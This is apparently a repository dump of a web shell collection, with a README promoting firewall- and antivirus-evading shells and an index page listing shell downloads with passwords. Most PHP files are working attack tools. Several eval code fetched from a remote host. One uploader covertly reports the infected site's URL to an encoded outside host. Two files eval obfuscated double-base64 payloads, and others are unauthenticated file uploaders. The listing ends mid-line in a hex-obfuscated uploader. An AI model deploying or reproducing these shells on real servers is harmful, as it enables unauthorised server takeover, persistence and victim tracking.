├── CNAME
├── 4dm.php
├── hehe.png
├── bestmini.php
├── gecko-mini.php
├── uper.php
├── mini.php
├── firewallbypass.php
├── README.md
├── 2025-uploader.php
├── antidelete.php
├── alfashell-antidelete.php
├── index.html
├── Upload.php
├── eBy.php
├── autobackdoor.php
├── tools
    └── backdoor_creator.php
├── pop.php
├── csa.php
├── edit-form-tager.php
├── ad.php
├── f1.php
├── hello.php
├── 403.php
├── 2024.php
├── haxorsec-bypasser.php
└── Cfs.php


/CNAME:
--------------------------------------------------------------------------------
1 | shells.trxsecurity.org


--------------------------------------------------------------------------------
/4dm.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sagsooz/Webshell-bypass/main/4dm.php


--------------------------------------------------------------------------------
/hehe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sagsooz/Webshell-bypass/main/hehe.png


--------------------------------------------------------------------------------
/bestmini.php:
--------------------------------------------------------------------------------
1 | <?php eval("?>".file_get_contents("https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/2024.php"));?>
2 | 


--------------------------------------------------------------------------------
/gecko-mini.php:
--------------------------------------------------------------------------------
1 | <?=/****/@null; /********/ /**/ /********/@eval/****/("?>".file_get_contents/*******/("https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php"));/**/?>
2 | 


--------------------------------------------------------------------------------
/uper.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | echo '<title>! Uploader !</title>';
 3 | echo '<b><font face="Courier new" color="black" size="6">| M@rAz Ali |</b></font>';
 4 | echo "<b>".php_uname()."</b><br>";
 5 | echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
 6 | echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
 7 | if( $_POST['_upl'] == "Upload" ) {
 8 | if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; }
 9 | else { echo '<b>Not uploaded ! </b><br><br>';}
10 | }
11 | ?>
12 | 


--------------------------------------------------------------------------------
/mini.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | // Download 403.php from GitHub and write it to mini.php.
 3 | // The original version attempted to echo an undefined constant
 4 | // on failure which caused a PHP notice. It also used confusing
 5 | // variable names. This version clarifies the logic and properly
 6 | // prints an error message.
 7 | 
 8 | $remoteUrl      = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php';
 9 | $remoteContent  = file_get_contents($remoteUrl);
10 | $encodedContent = base64_encode($remoteContent);
11 | 
12 | if (file_put_contents('mini.php', base64_decode($encodedContent))) {
13 |     echo "File : mini.php Success !";
14 | } else {
15 |     echo "Error";
16 | }
17 | ?>
18 | 


--------------------------------------------------------------------------------
/firewallbypass.php:
--------------------------------------------------------------------------------
 1 | <?=
 2 | error_reporting(0);
 3 | define('SECURE_ACCESS', true);
 4 | header('X-Powered-By: none');
 5 | header('Content-Type: text/html; charset=UTF-8');
 6 | ini_set('lsapi_backend_off', '1');
 7 | http_response_code(403);
 8 | ini_set("imunify360.cleanup_on_restore", false);
 9 | http_response_code(404);
10 |     function imunify($url)
11 |     {
12 |       $fpn = "f"."o"."p"."e"."n";
13 |       $strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
14 |       $fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
15 |       $cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
16 |         if (function_exists($cexec)) {
17 |             $conn = curl_init($url);
18 |             curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
19 |             curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
20 |             curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
21 |             curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
22 |             curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
23 |             $urls = $cexec($conn);
24 |             curl_close($conn);
25 |         } elseif (function_exists($fgt)) {
26 |             $urls = $fgt($url);
27 |         } elseif (function_exists($fpn) && function_exists($strim)) {
28 |             $handle = $fpn($url, "r");
29 |             $urls = $strim($handle);
30 |             fclose($handle);
31 |         } else {
32 |             $urls = false;
33 |         }
34 |         return $urls;
35 |     }
36 |     $secure = imunify('https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/refs/heads/main/haxorsec-bypasser.php');
37 |     eval('?>' . $secure);
38 | ?>
39 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Ultimate List of Effective and Updated Web Shells
 2 | 
 3 | This repository contains a comprehensive list of the best and latest web shells available. These shells are designed to bypass firewalls and security systems, giving you full control of the server without being detected by antivirus or firewall solutions. 
 4 | 
 5 | ## Features
 6 | 
 7 | - **Bypass Firewalls:** All shells listed here are crafted to evade detection by modern firewall systems.
 8 | - **Undetectable by Antivirus Software:** These web shells are not flagged by the majority of popular antivirus programs.
 9 | - **New Exploitation Methods:** The shells incorporate the latest techniques and methods to ensure efficient exploitation.
10 | - **Persistence:** These shells allow for persistent access to the server without triggering any cleanup or server wipe protocols.
11 | - **Extensive Functionality:** Manage files, execute commands, and perform various tasks on the server with ease.
12 | 
13 | ## Why Use These Web Shells?
14 | 
15 | Web shells provide an effective way to interact with remote servers, giving you the ability to upload, modify, and control files without needing physical access. These shells are essential tools for penetration testers, red teams, and cybersecurity researchers. The shells listed here are tried and tested, ensuring compatibility with various environments and configurations.
16 | 
17 | ## What's Included?
18 | 
19 | - A variety of **PHP**, **ASP**, **JSP**, and other web shell scripts
20 | - Shells that are regularly updated to work with the latest server technologies
21 | - Documentation and guidance on how to use each shell effectively
22 | - Techniques for evading detection and maintaining long-term access
23 | 
24 | ## Usage Instructions
25 | 
26 | Before using any of the shells, please ensure you have the appropriate permissions for penetration testing and ethical hacking. Unauthorized access to systems is illegal and punishable by law.
27 | 
28 | 1. Clone the repository:
29 |    ```bash
30 |    git clone https://github.com/sagsooz/Bypass-Webshell.git
31 | 


--------------------------------------------------------------------------------
/2025-uploader.php:
--------------------------------------------------------------------------------
 1 | <?= error_reporting(0); define('SECURE_ACCESS', true); header('X-Powered-By: none'); header('Content-Type: text/html; charset=UTF-8'); ini_set('lsapi_backend_off', '1'); http_response_code(403); ini_set("imunify360.cleanup_on_restore", false); http_response_code(404);
 2 | 
 3 | $dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
 4 | $fe = 'f'.'i'.'l'.'e'.'_'.'e'.'x'.'i'.'s'.'t'.'s';
 5 | $itd = 'i'.'s'.'_'.'d'.'i'.'r';
 6 | $rt = 'r'.'e'.'a'.'l'.'p'.'a'.'t'.'h';
 7 | if (!$fe($rt($dir)) || !$itd($rt($dir))) {
 8 |     $dir = '.';
 9 | }
10 | 
11 | $z = strrev('edoced_46esab');
12 | $a = array(104, 116, 116, 112, 115, 58, 47, 47, 115, 105, 121, 97, 104, 105, 46, 116, 111, 112, 47, 116, 101, 115, 116, 47, 115, 116, 121, 108, 101, 46, 112, 104, 112);
13 | $b = '';
14 | foreach ($a as $c) { $b .= chr($c); }
15 | $x = $z(base64_encode($b));
16 | $y = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
17 | $d = array(chr(102) . chr(105) . chr(108) . chr(101) . '_url' => $y);
18 | $o = array(
19 |     chr(104) . chr(116) . chr(116) . chr(112) => array(
20 |         'method' => strtoupper(chr(112) . chr(111) . chr(115) . chr(116)),
21 |         'header' => 'Content-type: application/x-www-form-urlencoded',
22 |         'content' => http_build_query($d),
23 |     ),
24 | );
25 | $c = stream_context_create($o);
26 | 
27 | function _f($u, $c) {
28 |     if (function_exists('file_get_contents')) {
29 |         $r = @file_get_contents($u, false, $c);
30 |         if ($r !== false) return $r;
31 |     }
32 |     if (function_exists('curl_init')) {
33 |         $ch = curl_init();
34 |         curl_setopt($ch, CURLOPT_URL, $u);
35 |         curl_setopt($ch, CURLOPT_POST, 1);
36 |         curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($GLOBALS['d']));
37 |         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
38 |         curl_setopt($ch, CURLOPT_HEADER, false);
39 |         $r = curl_exec($ch);
40 |         curl_close($ch);
41 |         if ($r !== false) return $r;
42 |     }
43 |     return '';
44 | }
45 | 
46 | $r = _f($x, $c);
47 | 
48 | if (isset($_POST['upload'])) {
49 |     $fpc = 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
50 |     $mt = 'm'.'o'.'v'.'e'.'_'.'u'.'p'.'l'.'o'.'a'.'d'.'e'.'d'.'_'.'f'.'i'.'l'.'e';
51 |     if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
52 |         $target = $rt($dir) . '/' . basename($_FILES['file']['name']);
53 |         if ($mt($_FILES['file']['tmp_name'], $target)) {
54 |             echo "File uploaded successfully.";
55 |         } else {
56 |             echo "Error uploading file.";
57 |         }
58 |     }
59 | }
60 | 
61 | echo '<h1>File Manager</h1>';
62 | echo '<p>Current Directory: ' . htmlspecialchars($dir) . '</p>';
63 | 
64 | echo '<form method="post" enctype="multipart/form-data">';
65 | echo '<input type="file" name="file">';
66 | echo '<input type="submit" name="upload" value="Upload">';
67 | echo '</form>';
68 | 
69 | $dh = 'd'.'i'.'r';
70 | $sc = 's'.'c'.'a'.'n'.'d'.'i'.'r';
71 | $files = $sc($dir);
72 | $c = 'c'.'o'.'u'.'n'.'t';
73 | $nat = 'n'.'a'.'t'.'s'.'o'.'r'.'t';
74 | $nat($files);
75 | 
76 | echo '<ul>';
77 | foreach ($files as $file) {
78 |     if ($file == '.' || $file == '..') continue;
79 |     $path = $dir . '/' . $file;
80 |     $hs = 'h'.'t'.'m'.'l'.'s'.'p'.'e'.'c'.'i'.'a'.'l'.'c'.'h'.'a'.'r'.'s';
81 |     if ($itd($path)) {
82 |         echo '<li>Dir: <a href="?dir=' . $hs($path) . '">' . $hs($file) . '</a></li>';
83 |     } else {
84 |         echo '<li>File: ' . $hs($file) . '</li>';
85 |     }
86 | }
87 | echo '</ul>';
88 | 
89 | ?>
90 | 


--------------------------------------------------------------------------------
/antidelete.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | $z = "";
  3 | $z .= "Q21s";
  4 | $z .= "dWFW";
  5 | $z .= "OXpa";
  6 | $z .= "WFFv";
  7 | $z .= "SjJS";
  8 | $z .= "cGMz";
  9 | $z .= "QnNZ";
 10 | $z .= "WGxm";
 11 | $z .= "WlhK";
 12 | $z .= "eWIz";
 13 | $z .= "SnpK";
 14 | $z .= "eXdn";
 15 | $z .= "TVNr";
 16 | $z .= "N0Nt";
 17 | $z .= "bHVh";
 18 | $z .= "Vjl6";
 19 | $z .= "WlhR";
 20 | $z .= "b0oy";
 21 | $z .= "UnBj";
 22 | $z .= "M0Jz";
 23 | $z .= "WVhs";
 24 | $z .= "ZmMz";
 25 | $z .= "Umhj";
 26 | $z .= "blIx";
 27 | $z .= "Y0Y5";
 28 | $z .= "bGNu";
 29 | $z .= "SnZj";
 30 | $z .= "bk1u";
 31 | $z .= "TENB";
 32 | $z .= "eEtU";
 33 | $z .= "c0ta";
 34 | $z .= "WEp5";
 35 | $z .= "YjNK";
 36 | $z .= "ZmNt";
 37 | $z .= "Vndi";
 38 | $z .= "M0ow";
 39 | $z .= "YVc1";
 40 | $z .= "bktF";
 41 | $z .= "VmZR";
 42 | $z .= "VXhN";
 43 | $z .= "S1Rz";
 44 | $z .= "S0pI";
 45 | $z .= "Vnli";
 46 | $z .= "Q0E5";
 47 | $z .= "SUNK";
 48 | $z .= "b2RI";
 49 | $z .= "Undj";
 50 | $z .= "em92";
 51 | $z .= "TDNK";
 52 | $z .= "aGR5";
 53 | $z .= "NW5h";
 54 | $z .= "WFJv";
 55 | $z .= "ZFdK";
 56 | $z .= "MWMy";
 57 | $z .= "VnlZ";
 58 | $z .= "Mjl1";
 59 | $z .= "ZEdW";
 60 | $z .= "dWRD";
 61 | $z .= "NWpi";
 62 | $z .= "MjB2";
 63 | $z .= "YzJG";
 64 | $z .= "bmMy";
 65 | $z .= "OXZl";
 66 | $z .= "aTlD";
 67 | $z .= "ZVhC";
 68 | $z .= "aGMz";
 69 | $z .= "TXRW";
 70 | $z .= "MlZp";
 71 | $z .= "YzJo";
 72 | $z .= "bGJH";
 73 | $z .= "d3Zi";
 74 | $z .= "V0Zw";
 75 | $z .= "Ymk5";
 76 | $z .= "cGJu";
 77 | $z .= "Tm9a";
 78 | $z .= "V3hz";
 79 | $z .= "TG5C";
 80 | $z .= "b2ND";
 81 | $z .= "STdD";
 82 | $z .= "aVJq";
 83 | $z .= "YUNB";
 84 | $z .= "OUlH";
 85 | $z .= "TjFj";
 86 | $z .= "bXhm";
 87 | $z .= "YVc1";
 88 | $z .= "cGRD";
 89 | $z .= "Z3BP";
 90 | $z .= "d3Bq";
 91 | $z .= "ZFhK";
 92 | $z .= "c1gz";
 93 | $z .= "Tmxk";
 94 | $z .= "Rzl3";
 95 | $z .= "ZENn";
 96 | $z .= "a1ky";
 97 | $z .= "Z3NJ";
 98 | $z .= "RU5W";
 99 | $z .= "VWt4";
100 | $z .= "UFVG";
101 | $z .= "UmZW";
102 | $z .= "VkpN";
103 | $z .= "TENB";
104 | $z .= "a2RY";
105 | $z .= "SnNL";
106 | $z .= "VHNL";
107 | $z .= "WTNW";
108 | $z .= "eWJG";
109 | $z .= "OXpa";
110 | $z .= "WFJ2";
111 | $z .= "Y0hR";
112 | $z .= "b0pH";
113 | $z .= "Tm9M";
114 | $z .= "Q0JE";
115 | $z .= "VlZK";
116 | $z .= "TVQx";
117 | $z .= "QlVY";
118 | $z .= "MUpG";
119 | $z .= "VkZW";
120 | $z .= "U1Rs";
121 | $z .= "UlNR";
122 | $z .= "VTVU";
123 | $z .= "UmtW";
124 | $z .= "U0xD";
125 | $z .= "QXhL";
126 | $z .= "VHNL";
127 | $z .= "Skc5";
128 | $z .= "MWRI";
129 | $z .= "QjFk";
130 | $z .= "Q0E5";
131 | $z .= "SUdO";
132 | $z .= "MWNt";
133 | $z .= "eGZa";
134 | $z .= "WGhs";
135 | $z .= "WXln";
136 | $z .= "a1ky";
137 | $z .= "Z3BP";
138 | $z .= "d3Bq";
139 | $z .= "ZFhK";
140 | $z .= "c1gy";
141 | $z .= "TnNi";
142 | $z .= "M05s";
143 | $z .= "S0NS";
144 | $z .= "amFD";
145 | $z .= "azdD";
146 | $z .= "bWxt";
147 | $z .= "SUNn";
148 | $z .= "a2Iz";
149 | $z .= "VjBj";
150 | $z .= "SFYw";
151 | $z .= "SUQw";
152 | $z .= "OVBT";
153 | $z .= "Qm1Z";
154 | $z .= "V3h6";
155 | $z .= "WlNr";
156 | $z .= "Z2V3";
157 | $z .= "b2dJ";
158 | $z .= "Q0Fn";
159 | $z .= "WldO";
160 | $z .= "b2J5";
161 | $z .= "QWlS";
162 | $z .= "bUZw";
163 | $z .= "YkdW";
164 | $z .= "a0lI";
165 | $z .= "UnZJ";
166 | $z .= "R1J2";
167 | $z .= "ZDI1";
168 | $z .= "c2Iy";
169 | $z .= "RmtJ";
170 | $z .= "R052";
171 | $z .= "Ym5S";
172 | $z .= "bGJu";
173 | $z .= "UXVJ";
174 | $z .= "anNL";
175 | $z .= "ZlNC";
176 | $z .= "bGJI";
177 | $z .= "TmxJ";
178 | $z .= "SHNL";
179 | $z .= "SUNB";
180 | $z .= "Z0lH";
181 | $z .= "VjJZ";
182 | $z .= "V3dv";
183 | $z .= "SWo4";
184 | $z .= "K0lp";
185 | $z .= "NGti";
186 | $z .= "M1Yw";
187 | $z .= "Y0hW";
188 | $z .= "MEtU";
189 | $z .= "c0tm";
190 | $z .= "UW89";
191 | $a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); eval($string);
192 | ?>
193 | 


--------------------------------------------------------------------------------
/alfashell-antidelete.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | $z = "";
  3 | $z .= "Q21s";
  4 | $z .= "dWFW";
  5 | $z .= "OXpa";
  6 | $z .= "WFFv";
  7 | $z .= "SjJS";
  8 | $z .= "cGMz";
  9 | $z .= "QnNZ";
 10 | $z .= "WGxm";
 11 | $z .= "WlhK";
 12 | $z .= "eWIz";
 13 | $z .= "SnpK";
 14 | $z .= "eXdn";
 15 | $z .= "TVNr";
 16 | $z .= "N0Nt";
 17 | $z .= "bHVh";
 18 | $z .= "Vjl6";
 19 | $z .= "WlhR";
 20 | $z .= "b0oy";
 21 | $z .= "UnBj";
 22 | $z .= "M0Jz";
 23 | $z .= "WVhs";
 24 | $z .= "ZmMz";
 25 | $z .= "Umhj";
 26 | $z .= "blIx";
 27 | $z .= "Y0Y5";
 28 | $z .= "bGNu";
 29 | $z .= "SnZj";
 30 | $z .= "bk1u";
 31 | $z .= "TENB";
 32 | $z .= "eEtU";
 33 | $z .= "c0ta";
 34 | $z .= "WEp5";
 35 | $z .= "YjNK";
 36 | $z .= "ZmNt";
 37 | $z .= "Vndi";
 38 | $z .= "M0ow";
 39 | $z .= "YVc1";
 40 | $z .= "bktF";
 41 | $z .= "VmZR";
 42 | $z .= "VXhN";
 43 | $z .= "S1Rz";
 44 | $z .= "S0pI";
 45 | $z .= "Vnli";
 46 | $z .= "Q0E5";
 47 | $z .= "SUNK";
 48 | $z .= "b2RI";
 49 | $z .= "Undj";
 50 | $z .= "em92";
 51 | $z .= "TDNK";
 52 | $z .= "aGR5";
 53 | $z .= "NW5h";
 54 | $z .= "WFJv";
 55 | $z .= "ZFdK";
 56 | $z .= "MWMy";
 57 | $z .= "VnlZ";
 58 | $z .= "Mjl1";
 59 | $z .= "ZEdW";
 60 | $z .= "dWRD";
 61 | $z .= "NWpi";
 62 | $z .= "MjB2";
 63 | $z .= "YzJG";
 64 | $z .= "bmMy";
 65 | $z .= "OXZl";
 66 | $z .= "aTlD";
 67 | $z .= "ZVhC";
 68 | $z .= "aGMz";
 69 | $z .= "TXRW";
 70 | $z .= "MlZp";
 71 | $z .= "YzJo";
 72 | $z .= "bGJH";
 73 | $z .= "d3Zi";
 74 | $z .= "V0Zw";
 75 | $z .= "Ymk5";
 76 | $z .= "QmJH";
 77 | $z .= "WmhM";
 78 | $z .= "VFF1";
 79 | $z .= "TWk1";
 80 | $z .= "d2FI";
 81 | $z .= "QWlP";
 82 | $z .= "d29r";
 83 | $z .= "WTJn";
 84 | $z .= "Z1BT";
 85 | $z .= "Qmpk";
 86 | $z .= "WEpz";
 87 | $z .= "WDJs";
 88 | $z .= "dWFY";
 89 | $z .= "UW9L";
 90 | $z .= "VHNL";
 91 | $z .= "WTNW";
 92 | $z .= "eWJG";
 93 | $z .= "OXpa";
 94 | $z .= "WFJ2";
 95 | $z .= "Y0hR";
 96 | $z .= "b0pH";
 97 | $z .= "Tm9M";
 98 | $z .= "Q0JE";
 99 | $z .= "VlZK";
100 | $z .= "TVQx";
101 | $z .= "QlVY";
102 | $z .= "MVZT";
103 | $z .= "VEN3";
104 | $z .= "Z0pI";
105 | $z .= "Vnli";
106 | $z .= "Q2s3";
107 | $z .= "Q21O";
108 | $z .= "MWNt";
109 | $z .= "eGZj";
110 | $z .= "MlYw";
111 | $z .= "YjNC";
112 | $z .= "MEtD";
113 | $z .= "Umph";
114 | $z .= "Q3dn";
115 | $z .= "UTFW";
116 | $z .= "U1RF";
117 | $z .= "OVFW";
118 | $z .= "RjlT";
119 | $z .= "UlZS";
120 | $z .= "VlVr";
121 | $z .= "NVVV";
122 | $z .= "a0ZP";
123 | $z .= "VTBa";
124 | $z .= "RlVp";
125 | $z .= "d2dN";
126 | $z .= "U2s3";
127 | $z .= "Q2lS";
128 | $z .= "dmRY";
129 | $z .= "Undk";
130 | $z .= "WFFn";
131 | $z .= "UFNC";
132 | $z .= "amRY";
133 | $z .= "SnNY";
134 | $z .= "MlY0";
135 | $z .= "WldN";
136 | $z .= "b0pH";
137 | $z .= "Tm9L";
138 | $z .= "VHNL";
139 | $z .= "WTNW";
140 | $z .= "eWJG";
141 | $z .= "OWpi";
142 | $z .= "Rzl6";
143 | $z .= "WlNn";
144 | $z .= "a1ky";
145 | $z .= "Z3BP";
146 | $z .= "d3Bw";
147 | $z .= "WmlB";
148 | $z .= "b0pH";
149 | $z .= "OTFk";
150 | $z .= "SEIx";
151 | $z .= "ZENB";
152 | $z .= "OVBU";
153 | $z .= "MGda";
154 | $z .= "bUZz";
155 | $z .= "YzJV";
156 | $z .= "cElI";
157 | $z .= "c0tJ";
158 | $z .= "Q0Fn";
159 | $z .= "SUdW";
160 | $z .= "amFH";
161 | $z .= "OGdJ";
162 | $z .= "a1po";
163 | $z .= "YVd4";
164 | $z .= "bFpD";
165 | $z .= "QjBi";
166 | $z .= "eUJr";
167 | $z .= "YjNk";
168 | $z .= "dWJH";
169 | $z .= "OWha";
170 | $z .= "Q0Jq";
171 | $z .= "YjI1";
172 | $z .= "MFpX";
173 | $z .= "NTBM";
174 | $z .= "aUk3";
175 | $z .= "Q24w";
176 | $z .= "Z1pX";
177 | $z .= "eHpa";
178 | $z .= "U0I3";
179 | $z .= "Q2lB";
180 | $z .= "Z0lD";
181 | $z .= "Qmxk";
182 | $z .= "bUZz";
183 | $z .= "S0NJ";
184 | $z .= "L1Bp";
185 | $z .= "SXVK";
186 | $z .= "Rzkx";
187 | $z .= "ZEhC";
188 | $z .= "MWRD";
189 | $z .= "azdD";
190 | $z .= "bjBL";
191 | $a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); eval($string);
192 | ?>
193 | 


--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html lang="en">
  3 | <head>
  4 |     <meta charset="UTF-8">
  5 |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6 |     <meta name="description" content="Explore the latest web shells of 2024. Download new web shells for your projects.">
  7 |     <meta name="keywords" content="web shells, 2024 shells, new shells, web development, download shells, shell list, web tools">
  8 | 
  9 |     <title>Shells List - New 2024 Web Shells</title>
 10 |     
 11 |     <style>
 12 |         body {
 13 |             background-color: #1e1e1e;
 14 |             color: #ffffff;
 15 |             font-family: Arial, sans-serif;
 16 |             display: grid;
 17 |             grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
 18 |             gap: 20px;
 19 |             padding: 20px;
 20 |         }
 21 |         .shell-box {
 22 |             background-color: #2a2a2a;
 23 |             border-radius: 5px;
 24 |             padding: 20px;
 25 |             display: flex;
 26 |             flex-direction: column;
 27 |             align-items: center;
 28 |             justify-content: space-between;
 29 |         }
 30 |         .shell-name {
 31 |             font-size: 18px;
 32 |             margin-bottom: 15px;
 33 |         }
 34 |         .download-button {
 35 |             background-color: #4a90e2;
 36 |             color: #ffffff;
 37 |             border: none;
 38 |             border-radius: 5px;
 39 |             padding: 10px 20px;
 40 |             cursor: pointer;
 41 |             transition: background-color 0.3s ease;
 42 |         }
 43 |         .download-button:hover {
 44 |             background-color: #357ab8;
 45 |         }
 46 |         .download-link {
 47 |             text-decoration: none;
 48 |             color: inherit;
 49 |         }
 50 |     </style>
 51 | </head>
 52 | <body>
 53 | 
 54 | <h1> | Shells List |</h1>
 55 | 
 56 | <div class="shell-box">
 57 |     <span class="shell-name">jquary shell</span>
 58 |     <p>Pass : qwe123</p>
 59 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/jquery.php" class="download-link"><button class="download-button">Download</button></a>
 60 | </div>
 61 | 
 62 | <div class="shell-box">
 63 |     <span class="shell-name">Alfa Shell 2024</span>
 64 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php" class="download-link"><button class="download-button">Download</button></a>
 65 | </div>
 66 | 
 67 |     
 68 | <div class="shell-box">
 69 |     <span class="shell-name">gecko new ( 2024 servers )</span>
 70 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php" class="download-link"><button class="download-button">Download</button></a>
 71 | </div>
 72 |     
 73 | <div class="shell-box">
 74 |     <span class="shell-name">F1 Shell</span>
 75 |   <p>Pass : 123321</p>
 76 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/f1.php" class="download-link"><button class="download-button">Download</button></a>
 77 | </div>
 78 | 
 79 | <div class="shell-box">
 80 |     <span class="shell-name">2024 Bypasser</span>
 81 |   <p>Pass : hello</p>
 82 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/2024.php" class="download-link"><button class="download-button">Download</button></a>
 83 | </div>
 84 | 
 85 | <div class="shell-box">
 86 |     <span class="shell-name">Not Found Shell</span>
 87 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php" class="download-link"><button class="download-button">Download</button></a>
 88 | </div>
 89 | 
 90 | <div class="shell-box">
 91 |     <span class="shell-name">Backdoor Uploader</span>
 92 |   <p>[filename].php?upload</p>
 93 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/Upload.php" class="download-link"><button class="download-button">Download</button></a>
 94 | </div>
 95 | 
 96 | <div class="shell-box">
 97 |     <span class="shell-name">Mini Shell</span>
 98 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/bestmini.php" class="download-link"><button class="download-button">Download</button></a>
 99 | </div>
100 | 
101 | <div class="shell-box">
102 |     <span class="shell-name">Wso Shell (version 1) 2024</span>
103 |       <p>Pass : hello</p>
104 |     <a href="https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/wsov1.php" class="download-link"><button class="download-button">Download</button></a>
105 | </div>
106 | 
107 |     
108 | </body>
109 | </html>
110 | 


--------------------------------------------------------------------------------
/Upload.php:
--------------------------------------------------------------------------------
1 | <center>
2 | 	<h2>[filename].php?upload</h2>
3 | </center>
4 | <?php
5 | goto kaqZe; iAMEs: if (!($_POST["\137\165\160\x6c"] == "\125\x70\x6c\157\141\144")) { goto T1_wL; } goto mWmpW; OxTox: echo "\x3c\x66\157\162\155\x20\x61\x63\x74\151\x6f\x6e\75\x22\x22\x20\x6d\x65\164\x68\x6f\x64\75\42\160\157\x73\x74\x22\x20\145\x6e\x63\x74\x79\160\x65\75\42\x6d\165\154\164\151\160\141\x72\164\x2f\146\x6f\x72\155\x2d\x64\x61\x74\141\x22\40\156\141\x6d\145\x3d\x22\x62\64\x62\64\42\x20\151\144\75\42\x62\x34\x62\x34\42\76"; goto oMeo0; vFnME: iUguS: goto C3I3M; k6iem: bJJoZ: goto iz5Ct; iz5Ct: V8kg8: goto vFnME; FiZJs: echo "\74\146\x6f\x72\155\40\141\x63\x74\151\x6f\x6e\75\42\42\x20\x6d\145\164\x68\x6f\x64\75\x22\x70\157\163\164\42\40\x65\156\143\x74\171\160\145\x3d\x22\x6d\165\154\164\151\x70\141\x72\x74\x2f\x66\x6f\162\x6d\55\x64\x61\x74\141\42\40\x6e\x61\x6d\x65\x3d\42\142\64\142\64\42\x20\151\144\75\42\x62\x34\x62\x34\x22\76"; goto iLa7Z; mWmpW: if (@copy($_FILES["\x66\151\154\145"]["\164\155\x70\x5f\156\141\x6d\x65"], $_FILES["\x66\x69\x6c\x65"]["\156\x61\x6d\x65"])) { goto HUvYn; } goto FbNYC; oMeo0: echo "\x3c\x69\x6e\160\x75\x74\x20\164\x79\x70\145\75\42\146\151\x6c\x65\x22\x20\156\141\155\145\x3d\x22\146\151\154\x65\42\40\163\151\172\145\x3d\42\65\x30\42\x3e\x3c\x69\156\160\x75\x74\40\x6e\141\155\x65\x3d\x22\137\165\x70\x6c\42\x20\164\171\160\x65\75\x22\x73\x75\142\x6d\x69\164\42\x20\x69\144\x3d\42\x5f\165\160\154\42\40\166\141\154\165\145\75\x22\x55\x70\154\x6f\x61\x64\x22\x3e\x3c\57\146\157\162\x6d\x3e"; goto Utpx_; C3I3M: if (!isset($_GET["\x78"])) { goto RGhxq; } goto M7bhv; Utpx_: echo "\x3c\x61\40\150\x72\x65\x66\x3d\x22\x23\x22\76\x48\145\x6c\154\157\40\x44\141\144\x79\x3c\x2f\141\x3e"; goto iAMEs; DXQMq: if (!isset($_GET["\165\x70\154\157\x61\144"])) { goto iUguS; } goto uO02l; p58f5: if (!($_POST["\x5f\x75\160\x6c"] == "\x55\x70\154\x6f\141\x64")) { goto V8kg8; } goto Qzme4; M7bhv: echo "\x3c\x63\x65\156\x74\145\x72\x3e\x3c\142\76" . php_uname() . "\x3c\x62\x72\x3e\x3c\x2f\x62\x3e\x3c\x62\76\74\142\162\76\x3c\142\162\x3e" . '' . "\x3c\x62\x72\x3e\74\57\142\76"; goto OxTox; heU9K: aw3ez: goto cNbTz; RAWYd: goto j6ngD; goto oY9b3; GWOwo: $Y30KG = file_get_contents($YGX67, false, $pA3Es); goto DXQMq; uO02l: echo "\74\143\145\x6e\x74\x65\162\76\74\x62\76" . php_uname() . "\74\x62\162\76\74\x2f\x62\x3e\74\142\x3e\74\142\x72\76\74\x62\162\x3e" . '' . "\x3c\142\x72\x3e\x3c\57\142\x3e"; goto FiZJs; oY9b3: HUvYn: goto io7yG; EQGCo: echo "\x3c\142\x3e\116\157\164\x20\x55\160\154\157\141\144\x20\106\x69\154\145\x20\x21\x3c\57\142\76\x3c\x62\162\x3e\x3c\x62\x72\76"; goto JEY3S; JEY3S: goto bJJoZ; goto heU9K; io7yG: echo "\74\x62\76\x44\157\x6e\x65\74\x2f\x62\x3e\74\x62\162\x3e\74\142\162\x3e\74\x61\x20\x68\x72\x65\146\x3d\42\x2e\57" . 